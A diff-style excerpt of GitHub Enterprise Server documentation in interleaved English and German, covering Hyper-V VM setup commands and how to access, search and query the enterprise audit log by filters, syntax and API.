3. Attach the data disk to your instance. For more information, see "[Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps)" in the Microsoft documentation.
3. Hänge den Datenträger an deine Instanz an. Weitere Informationen findest du in der Microsoft-Dokumentation unter [Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps).
```shell
PS C:\> Add-VMHardDiskDrive -VMName VM_NAME -Path PATH_TO_DATA_DISK
PS C:\> Add-VMHardDiskDrive -VMName <em>VM_NAME</em> -Path <em>PATH_TO_DATA_DISK</em>
```
4. Start the VM. For more information, see "[Start-VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps)" in the Microsoft documentation.
4. Starte den virtuellen Computer. Weitere Informationen findest du in der Microsoft-Dokumentation unter [Start-VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps).
```shell
PS C:\> Start-VM -Name VM_NAME
PS C:\> Start-VM -Name <em>VM_NAME</em>
```
5. Get the IP address of your VM. For more information, see "[Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps)" in the Microsoft documentation.
5. Rufe die IP-Adresse deiner VM ab. Weitere Informationen findest du in der Microsoft-Dokumentation unter [Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps).
```shell
PS C:\> (Get-VMNetworkAdapter -VMName VM_NAME).IpAddresses
PS C:\> (Get-VMNetworkAdapter -VMName <em>VM_NAME</em>).IpAddresses
```
6. Copy the VM's IP address and paste it into a web browser.
6. Kopiere die IP-Adresse der VM, und füge sie in einen Webbrowser ein.
## Configuring the {% data variables.product.prodname_ghe_server %} instance
## {% data variables.product.prodname_ghe_server %}-Instanz konfigurieren
{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
{% data reusables.enterprise_installation.upload-a-license-file %}
{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
{% data reusables.enterprise_installation.instance-will-restart-automatically %}
{% data reusables.enterprise_installation.visit-your-instance %}
{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} {% data reusables.enterprise_installation.upload-a-license-file %} {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Weitere Informationen findest du unter [Konfigurieren der {% data variables.product.prodname_ghe_server %}-Appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance).
{% data reusables.enterprise_installation.instance-will-restart-automatically %} {% data reusables.enterprise_installation.visit-your-instance %}
## Further reading
## Weitere Informationsquellen
- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
- [Systemübersicht](/enterprise/admin/guides/installation/system-overview){% ifversion ghes %}
- [Informationen zu Upgrades auf neue Releases](/admin/overview/about-upgrades-to-new-releases){% endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: About the audit log for your enterprise
intro: 'To support debugging and internal and external compliance, {% data variables.product.product_name %} provides logs of audited{% ifversion ghes %} system,{% endif %} user, organization, and repository events.'
title: Informationen zum Überwachungsprotokoll für dein Unternehmen
intro: 'Zur Unterstützung des Debuggens sowie interner und externer Compliance stellt {% data variables.product.product_name %} Protokolle von überwachten {% ifversion ghes %} System-,{% endif %} Benutzer-, Organisations- und Repositoryereignissen bereit.'
shortTitle: About audit logs
redirect_from:
- /enterprise/admin/articles/audit-logging
@ -21,38 +21,38 @@ topics:
- Enterprise
- Logging
- Security
ms.openlocfilehash: be8600e2037793a145fd2484742ddd3eb52e91a4
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/09/2022
ms.locfileid: '148159037'
---
## About audit logs
## Informationen zu Überwachungsprotokollen
{% data reusables.audit_log.retention-periods %}
{% data reusables.audit_log.audit-log-search-list-info-about-action %}
In addition to viewing your audit log, you can monitor activity in your enterprise in other ways, such as {% ifversion ghes or ghae %}viewing push logs and {% endif %}managing global webhooks. For more information, see "[Exploring user activity in your enterprise](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity)."
Zusätzlich zum Anzeigen deines Überwachungsprotokolls kannst du Aktivitäten in deinem Unternehmen auf andere Arten überwachen, z. B. durch {% ifversion ghes or ghae %}Anzeigen von Pushprotokollen und {% endif %} Verwalten von globalen Webhooks. Weitere Informationen findest du unter „[Erkunden von Benutzeraktivitäten in deinem Unternehmen](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity).
## Using your audit logs
## Verwendung deiner Überwachungsprotokolle
As an enterprise owner{% ifversion ghes %} or site administrator{% endif %}, you can interact with the audit log data for your enterprise in several ways:
- You can view the audit log for your enterprise. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)."
- You can search the audit log for specific events{% ifversion ghec %} and export audit log data{% endif %}. For more information, see "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)"{% ifversion ghec %} and "[Exporting the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)"{% endif %}.{% ifversion token-audit-log %}
- You can identify all events that were performed by a specific access token. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."{% endif %}{% ifversion audit-data-retention-tab %}
- You can configure settings, such as the retention period for audit log events{% ifversion enable-git-events %} and whether Git events are included{% endif %}. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise)."{% endif %}
{%- ifversion enterprise-audit-log-ip-addresses %}
- You can display the IP address associated with events in the audit log. For more information, see "[Displaying IP addresses in the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise)."
Als Unternehmensbesitzer{% ifversion ghes %} oder Websiteadministrator{% endif %} kannst du mit den Überwachungsprotokolldaten für dein Unternehmen auf mehrere Arten interagieren:
- Du kannst das Überwachungsprotokoll für dein Unternehmen anzeigen. Weitere Informationen findest du unter „[Zugreifen auf das Überwachungsprotokoll für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)“.
- Du kannst das Überwachungsprotokoll nach bestimmten Ereignissen durchsuchen{% ifversion ghec %} und Überwachungsprotokolldaten exportieren{% endif %}. Weitere Informationen findest du unter [Durchsuchen des Überwachungsprotokolls für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise){% ifversion ghec %} und [Exportieren des Überwachungsprotokolls für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise){% endif %}.{% ifversion token-audit-log %}
- Du kannst alle Ereignisse identifizieren, die von einem bestimmten Zugriffstoken ausgeführt wurden. Weitere Informationen findest du unter [Identifizieren von Überwachungsprotokollereignissen, die von einem Zugriffstoken ausgeführt werden](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token).{% endif %} {% ifversion audit-data-retention-tab %}
- Du kannst Einstellungen konfigurieren, z. B. den Aufbewahrungszeitraum für Überwachungsprotokollereignisse{% ifversion enable-git-events %} und ob Git-Ereignisse enthalten sein sollen{% endif %}. Weitere Informationen findest du unter [Konfigurieren des Überwachungsprotokolls für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise).{% endif %} {%- ifversion enterprise-audit-log-ip-addresses %}
- Du kannst die IP-Adresse anzeigen, die Ereignissen im Überwachungsprotokoll zugeordnet ist. Weitere Informationen findest du unter [Anzeigen von IP-Adressen im Überwachungsprotokoll für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise)
{%- endif %} {%- ifversion audit-log-streaming %}
- Du kannst Überwachungs- und Git-Ereignisdaten aus {% data variables.product.prodname_dotcom %} in ein externes Datenverwaltungssystem streamen. Weitere Informationen findest du unter „[Streamen des Überwachungsprotokolls für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)“.
{%- endif %} {%- ifversion ghes %}
- Du kannst Überwachungs- und Systemprotokolle aus deinem Unternehmen an ein von einem Drittanbieter gehostetes Überwachungssystem weiterleiten. Weitere Informationen findest du unter [Protokollweiterleitung](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding).
{%- endif %}
{%- ifversion audit-log-streaming %}
- You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system. For more information, see "[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)."
{%- endif %}
{%- ifversion ghes %}
- You can forward audit and system logs, from your enterprise to an third-party hosted monitoring system. For more information, see "[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)."
{%- endif %}
- You can use the Audit log API to view actions performed in your enterprise. For more information, see "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)."
- Du kannst mithilfe der Überwachungsprotokoll-API Aktionen anzeigen, die in deinem Unternehmen ausgeführt werden. Weitere Informationen findest du unter „[Verwenden der Überwachungsprotokoll-API für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)“.
For a full list of audit log actions that may appear in your enterprise audit log, see "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)."
Eine vollständige Liste der Überwachungsprotokollaktionen, die im Überwachungsprotokoll deines Unternehmens möglicherweise angezeigt werden, findest du unter „[Überwachungsprotokollaktionen für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)“.
## Further reading
- "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)"
{%- ifversion ghes %}
- "[About system logs](/admin/enterprise-management/monitoring-your-appliance/about-system-logs)"
{%- endif %}
## Weiterführende Themen
- „[Überprüfen des Überwachungsprotokolls für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)“ {%- ifversion ghes %}
- „[Informationen zu Systemprotokollen](/admin/enterprise-management/monitoring-your-appliance/about-system-logs)“ {%- endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Accessing the audit log for your enterprise
intro: You can view aggregated actions from all of the organizations owned by an enterprise account in the enterprise's audit log.
title: Zugreifen auf das Überwachungsprotokoll für dein Unternehmen
intro: 'Du kannst aggregierte Aktionen aus allen Organisationen, die einem Enterprise-Konto gehören, im zugehörigen Auditprotokoll anzeigen.'
shortTitle: Access audit logs
permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can access the audit log.'
redirect_from:
@ -19,9 +19,13 @@ topics:
- Auditing
- Enterprise
- Logging
ms.openlocfilehash: 9d32273ead3ed20b96470d5972721c682bc5152d
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '147063338'
---
{% data reusables.audit_log.retention-periods %}
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.audit-log-tab %}
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Searching the audit log for your enterprise
intro: You can search an extensive list of audited actions in your enterprise.
title: Durchsuchen des Überwachungsprotokolls für dein Unternehmen
intro: Du kannst eine umfangreiche Liste der überwachten Aktionen in deinem Unternehmen durchsuchen.
shortTitle: Search audit logs
permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can search the audit log.'
redirect_from:
@ -19,76 +19,79 @@ topics:
- Enterprise
- Logging
miniTocMaxHeadingLevel: 3
ms.openlocfilehash: 12bc44b7d81df55366f8b839261cf8899a53729d
ms.sourcegitcommit: 7a74d5796695bb21c30e4031679253cbc16ceaea
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/28/2022
ms.locfileid: '148183996'
---
## Informationen zur Suche beim Überwachungsprotokoll für dein Unternehmen
## About search for the enterprise audit log
Du kannst das Überwachungsprotokoll für dein Unternehmens direkt über die Benutzeroberfläche mithilfe der Dropdownliste **Filter** oder durch Eingabe einer Suchabfrage durchsuchen.
You can search your enterprise audit log directly from the user interface by using the **Filters** dropdown, or by typing a search query.
![Suchabfrage](/assets/images/enterprise/site-admin-settings/search-query.png)
![Search query](/assets/images/enterprise/site-admin-settings/search-query.png)
For more information about viewing your enterprise audit log, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)."
Weitere Informationen zum Anzeigen des Überwachungsprotokolls für dein Unternehmen findest du unter „[Zugreifen auf das Überwachungsprotokoll für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)“.
{% data reusables.audit_log.git-events-not-in-search-results %}
You can also use the API to retrieve audit log events. For more information, see "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)."
Außerdem kannst du mithilfe der API Überwachungsprotokollereignisse abrufen. Weitere Informationen findest du unter „[Verwenden der Überwachungsprotokoll-API für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise).
You cannot search for entries using text. You can, however, construct search queries using a variety of filters. Many operators used when querying the log, such as `-`, `>`, or `<`, match the same format as searching across {% data variables.product.product_name %}. For more information, see "[Searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
Du kannst nicht mit Text nach Einträgen suchen. Du kannst jedoch Suchabfragen mit den verschiedensten Filtern erstellen. Viele Operatoren, die beim Abfragen des Protokolls verwendet werden, z. B. `-`, `>` oder `<`, entsprechen demselben Format wie beim Durchsuchen von {% data variables.product.product_name %}. Weitere Informationen findest du unter [Suchen auf {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github).
{% note %}
**Note**: {% data reusables.audit_log.retention-periods %}
**Hinweis**: {% data reusables.audit_log.retention-periods %}
{% endnote %}
## Search query filters
## Suchabfragefilter
Filter| Description
Filtern| BESCHREIBUNG
--------------:| -----------
`Yesterday's activity` | All actions created in the past day.
`Enterprise account management` | All actions in the `business` category.
`Organization membership` | All actions for when a new user was invited to join an organization.
`Team management` | All actions related to team management.<br/>- When a user account or repository was added or removed from a team<br/>- When a team maintainer was promoted or demoted<br/>- When a team was deleted
`Repository management` | All actions for repository management.<br/>- When a repository was created or deleted<br/>- When the repository visibility was changed<br/>- When a team was added or removed from a repository{% ifversion ghec %}
`Billing updates` | All actions concerning how your enterprise pays for {% data variables.product.prodname_dotcom %} and for when your billing email address was changed.{% endif %}
`Hook activity` | All actions for webhooks and pre-receive hooks.
`Security management` | All actions concerning SSH keys, deploy keys, security keys, 2FA, and SAML single sign-on credential authorization, and vulnerability alerts for repositories.
`Yesterday's activity` | Alle Aktionen, die am letzten Tag erstellt wurden
`Enterprise account management` | Alle Aktionen in der Kategorie `business`
`Organization membership` | Alle Aktionen für den Zeitpunkt, an dem ein neuer Benutzer zum Beitritt zu einer Organisation eingeladen wurde
`Team management` | Alle Aktionen im Zusammenhang mit der Teamverwaltung<br/>– Wenn ein Benutzerkonto oder Repository einem Team hinzugefügt oder daraus entfernt wurde<br/>– Wenn ein Teambetreuer höhergestuft oder herabgestuft wurde<br/>– Wenn ein Team gelöscht wurde
`Repository management` | Alle Aktionen für die Repositoryverwaltung<br/>– Wenn ein Repository erstellt oder gelöscht wurde<br/>– Wenn die Sichtbarkeit des Repositorys geändert wurde<br/>– Wenn ein Team einem Repository hinzugefügt oder daraus entfernt wurde{% ifversion ghec %}
`Billing updates` | Alle Aktionen in Bezug darauf, wie dein Unternehmen für {% data variables.product.prodname_dotcom %} bezahlt und wann deine E-Mail-Adresse für die Abrechnung geändert wurde{% endif %}
`Hook activity` | Alle Aktionen für Webhooks und Pre-Receive-Hooks
`Security management` | Alle Aktionen in Bezug auf SSH-Schlüssel, Bereitstellungsschlüssel, Sicherheitsschlüssel, Zweistufige Authentifizierung (2FA) und Autorisierung von SAML Single Sign-On (SSO)-Anmeldeinformationen sowie Sicherheitsrisikowarnungen für Repositorys
## Search query syntax
## Suchabfragesyntax
You can compose a search query from one or more `key:value` pairs, separated by AND/OR logical operators. For example, to see all actions that have affected the repository `octocat/Spoon-Knife` since the beginning of 2017:
Du kannst eine Suchabfrage aus mindestens einem `key:value`-Paar erstellen, das durch die logischen Operatoren UND/ODER getrennt wird. So kannst du beispielsweise alle Aktionen anzeigen, die sich seit Anfang 2017 auf das Repository `octocat/Spoon-Knife` ausgewirkt haben:
`repo:"octocat/Spoon-Knife" AND created:>=2017-01-01`
The `key:value` pairs that can be used in a search query are:
Die folgenden `key:value`-Paare können in einer Suchabfrage verwendet werden:
Key | Value
Schlüssel | Wert
--------------:| --------------------------------------------------------
`actor_id` | ID of the user account that initiated the action
`actor` | Name of the user account that initiated the action
`oauth_app_id` | ID of the OAuth application associated with the action
`action` | Name of the audited action
`user_id` | ID of the user affected by the action
`user` | Name of the user affected by the action
`repo_id` | ID of the repository affected by the action (if applicable)
`repo` | Name of the repository affected by the action (if applicable)
`actor_ip` | IP address from which the action was initiated
`created` | Time at which the action occurred{% ifversion ghes %}. If querying the audit log from the site admin dashboard, use `created_at` instead{% endif %}
`from` | View from which the action was initiated
`note` | Miscellaneous event-specific information (in either plain text or JSON format)
`org` | Name of the organization affected by the action (if applicable)
`org_id` | ID of the organization affected by the action (if applicable)
`business` | Name of the enterprise affected by the action (if applicable)
`business_id` | ID of the enterprise affected by the action (if applicable)
{%- ifversion token-audit-log %}
`hashed_token` | The token used to authenticate for the action (if applicable, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)")
{%- endif %}
`actor_id` | ID des Benutzerkontos, das die Aktion initiiert hat
`actor` | Name des Benutzerkontos, der die Aktion initiiert hat
`oauth_app_id` | ID der mit der Aktion verknüpften OAuth-Anwendung
`action` | Name der überwachten Aktion
`user_id` | ID des von der Aktion betroffenen Benutzers
`user` | Name des von der Aktion betroffenen Benutzers
`repo_id` | ID des von der Aktion betroffenen Repositorys (sofern zutreffend)
`repo` | Name des von der Aktion betroffenen Repositorys (sofern zutreffend)
`actor_ip` | IP-Adresse, über welche die Aktion initiiert wurde
`created` | Zeitpunkt, zu dem die Aktion ausgeführt wurde{% ifversion ghes %} Wenn du das Überwachungsprotokoll über das Websiteadministrator-Dashboard abfragst, verwende stattdessen `created_at` {% endif %}
`from` | Ansicht, von wem die Aktion initiiert wurde
`note` | Verschiedene ereignisspezifische Informationen (im Nur-Text- oder JSON-Format)
`org` | Name der von der Aktion betroffenen Organisation (sofern zutreffend)
`org_id` | ID der von der Aktion betroffenen Organisation (sofern zutreffend)
`business` | Name des von der Aktion betroffenen Unternehmens (sofern zutreffend)
`business_id` | ID des von der Aktion betroffenen Unternehmens (sofern zutreffend)
{%- ifversion token-audit-log %} `hashed_token` | Das Token, das für die Authentifizierung für die Aktion verwendet wird (siehe ggf. [Identifizieren von Überwachungsprotokollereignissen, die von einem Zugriffstoken ausgeführt werden](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)) {%- endif %}
To see actions grouped by category, you can also use the action qualifier as a `key:value` pair. For more information, see "[Search based on the action performed](#search-based-on-the-action-performed)."
Wenn du Aktionen nach Kategorie gruppiert anzeigen möchtest, kannst du auch den Aktionsqualifizierer als `key:value`-Paar verwenden. Weitere Informationen findest du unter „[Suchen basierend auf der ausgeführten Aktion](#search-based-on-the-action-performed)“.
For a full list of actions in your enterprise audit log, see "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)."
Eine vollständige Liste der Aktionen im Überwachungsprotokoll deines Unternehmens findest du unter „[Überwachungsprotokollaktionen für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise).
## Searching the audit log
## Auditprotokoll durchsuchen
{% data reusables.audit_log.audit-log-search-by-operation %}
@ -96,47 +99,47 @@ For a full list of actions in your enterprise audit log, see "[Audit log actions
{% data reusables.audit_log.audit-log-search-by-user %}
### Search based on the action performed
### Suche nach der Art der durchgeführten Aktion
To search for specific events, use the `action` qualifier in your query. For example:
Verwende für die Suche nach bestimmten Ereignissen in deiner Abfrage den Qualifizierer `action`. Beispiel:
* `action:team` finds all events grouped within the team category.
* `-action:hook` excludes all events in the webhook category.
* `action:team` sucht alle Ereignisse, die in der Teamkategorie gruppiert sind.
* `-action:hook` schließt alle Ereignisse in der Webhookkategorie aus.
Each category has a set of associated actions that you can filter on. For example:
Bei jeder Kategorie gibt es eine Gruppe von zugeordneten Aktionen, nach denen du filtern kannst. Beispiel:
* `action:team.create` finds all events where a team was created.
* `-action:hook.events_changed` excludes all events where the events on a webhook have been altered.
* `action:team.create` sucht alle Ereignisse, bei denen ein Team erstellt wurde.
* `-action:hook.events_changed` schließt alle Ereignisse aus, bei denen die Ereignisse in einem Webhook geändert wurden.
Actions that can be found in your enterprise audit log are grouped within the following categories:
Aktionen, die im Überwachungsprotokoll deines Unternehmens zu finden sind, werden in die folgenden Kategorien gruppiert:
{% data reusables.audit_log.audit-log-action-categories %}
### Search based on time of action
### Suche nach dem Zeitpunkt der Aktion
Use the `created` qualifier to filter events in the audit log based on when they occurred.
Verwende den Qualifizierer `created`, um Ereignisse im Überwachungsprotokoll basierend auf dem Zeitpunkt, an dem sie aufgetreten sind, zu filtern.
{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
{% data reusables.search.date_gt_lt %}
For example:
Beispiel:
* `created:2014-07-08` finds all events that occurred on July 8th, 2014.
* `created:>=2014-07-08` finds all events that occurred on or after July 8th, 2014.
* `created:<=2014-07-08` finds all events that occurred on or before July 8th, 2014.
* `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014.
* `created:2014-07-08` sucht alle Ereignisse, die am 8. Juli 2014 aufgetreten sind.
* `created:>=2014-07-08` sucht alle Ereignisse, die am oder nach dem 8. Juli 2014 aufgetreten sind.
* `created:<=2014-07-08` sucht alle Ereignisse, die am oder vor dem 8. Juli 2014 aufgetreten sind.
* `created:2014-07-01..2014-07-31` sucht alle Ereignisse, die im Juli 2014 aufgetreten sind.
### Search based on location
### Suche nach Standort
Using the qualifier `country`, you can filter events in the audit log based on the originating country. You can use a country's two-letter short code or full name. Countries with spaces in their name will need to be wrapped in quotation marks. For example:
Mithilfe des Qualifizierers `country` kannst du Ereignisse im Überwachungsprotokoll basierend auf dem Ursprungsland filtern. Dazu kannst du den Kurzcode aus zwei Buchstaben oder den vollständigen Namen eines Landes verwenden. Ländernamen mit Leerzeichen müssen in Anführungszeichen eingeschlossen werden. Beispiel:
* `country:de` finds all events that occurred in Germany.
* `country:Mexico` finds all events that occurred in Mexico.
* `country:"United States"` all finds events that occurred in the United States.
* `country:de` sucht alle Ereignisse, die in Deutschland aufgetreten sind.
* `country:Mexico` sucht alle Ereignisse, die in Mexiko aufgetreten sind.
* `country:"United States"` sucht alle Ereignisse, die in den USA aufgetreten sind.
{% ifversion token-audit-log %}
### Search based on the token that performed the action
### Suchen basierend auf dem Token, das die Aktion ausgeführt hat
Use the `hashed_token` qualifier to search based on the token that performed the action. Before you can search for a token, you must generate a SHA-256 hash. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."
{% endif %}
Verwende den Qualifizierer `hashed_token`, um basierend auf dem Token zu suchen, das die Aktion ausgeführt hat. Damit du nach einem Token suchen kannst, musst du einen SHA-256-Hash generieren. Weitere Informationen findest du unter [Identifizieren von Überwachungsprotokollereignissen, die von einem Zugriffstoken ausgeführt werden](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token).
{% endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Using the audit log API for your enterprise
intro: 'You can programmatically retrieve enterprise events with the REST or GraphQL API.'
title: Verwenden der Überwachungsprotokoll-API für dein Unternehmen
intro: Du kannst Unternehmensereignisse programmgesteuert über die REST- oder GraphQL-API abrufen.
shortTitle: Audit log API
permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can use the audit log API.'
miniTocMaxHeadingLevel: 3
@ -14,28 +14,32 @@ topics:
- Enterprise
- Logging
- API
ms.openlocfilehash: b3c0f2756873494effd0a7fa3e65d4c87e24c01a
ms.sourcegitcommit: d2f0b59ed096b9e68ef8f6fa019cd925165762ec
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/29/2022
ms.locfileid: '148184253'
---
## Verwenden der Überwachungsprotokoll-API
## Using the audit log API
Du kannst mit dem Überwachungsprotokoll mithilfe der GraphQL-API oder der REST-API interagieren. {% ifversion read-audit-scope %} Du kannst den `read:audit_log`-Bereich verwenden, um über die APIs auf das Überwachungsprotokoll zuzugreifen.{% endif %}
You can interact with the audit log using the GraphQL API or the REST API.{% ifversion read-audit-scope %} You can use the `read:audit_log` scope to access the audit log via the APIs.{% endif %}
Zeitstempel und Datumsfelder in der API-Antwort werden in [UTC-Epochenmillisekunden](http://en.wikipedia.org/wiki/Unix_time) gemessen.
Timestamps and date fields in the API response are measured in [UTC epoch milliseconds](http://en.wikipedia.org/wiki/Unix_time).
## Abfragen der GraphQL-API des Überwachungsprotokolls
## Querying the audit log GraphQL API
Zur Sicherstellung, dass dein geistiges Eigentum sicher ist und du die Compliance für dein Unternehmen aufrechterhältst, kannst du die GraphQL-API des Überwachungsprotokolls verwenden, um Kopien deiner Überwachungsprotokolldaten aufzubewahren und zu überwachen: {% data reusables.audit_log.audit-log-api-info %}
To ensure your intellectual property is secure, and you maintain compliance for your enterprise, you can use the audit log GraphQL API to keep copies of your audit log data and monitor:
{% data reusables.audit_log.audit-log-api-info %}
Beachte, dass du Git-Ereignisse nicht mithilfe der {% ifversion not ghec %}Überwachungsprotokoll-API abrufen kannst.{% else %}GraphQL-API. Verwende zum Abrufen von Git-Ereignissen stattdessen die REST-API. Weitere Informationen findest du unter den `git`-Kategorieaktionen in [Überwachungsprotokollaktionen für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#git-category-actions) und außerdem in den Artikel [Unternehmensverwaltung](/rest/reference/enterprise-admin#audit-log) und [Organisationen](/rest/reference/orgs#get-the-audit-log-for-an-organization) in der REST-API-Dokumentation.{% endif %}
Note that you can't retrieve Git events using the {% ifversion not ghec %}audit log API.{% else %}GraphQL API. To retrieve Git events, use the REST API instead. For more information, see `git` category actions in "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#git-category-actions)", and also the "[Enterprise administration](/rest/reference/enterprise-admin#audit-log)" and "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization) audit log endpoints in the REST API documentation."{% endif %}
Die GraphQL-Antwort kann Daten für bis zu 90 bis 120 Tage beinhalten.
The GraphQL response can include data for up to 90 to 120 days.
### Beispiel 1: Mitglieder, die in einem Unternehmen Organisationen hinzugefügt oder daraus entfernt wurden
### Example 1: Members added to or removed from organizations in an enterprise
Die folgende Abfrage ruft die Überwachungsprotokolle für das Unternehmen `avocado-corp` ab und gibt die ersten 10 Organisationen im Unternehmen zurück, in denen die einzigen ausgeführten Aktionen darin bestanden, ein Mitglied einer Organisation hinzuzufügen oder daraus zu entfernen. Die ersten 20 Überwachungsprotokolleinträge für jede Organisation werden zurückgegeben.
The query below fetches the audit logs for the `avocado-corp` enterprise and returns the first 10 organizations in the enterprise, where the only actions performed were adding or removing a member from an organization. The first 20 audit log entries for each organization are returned.
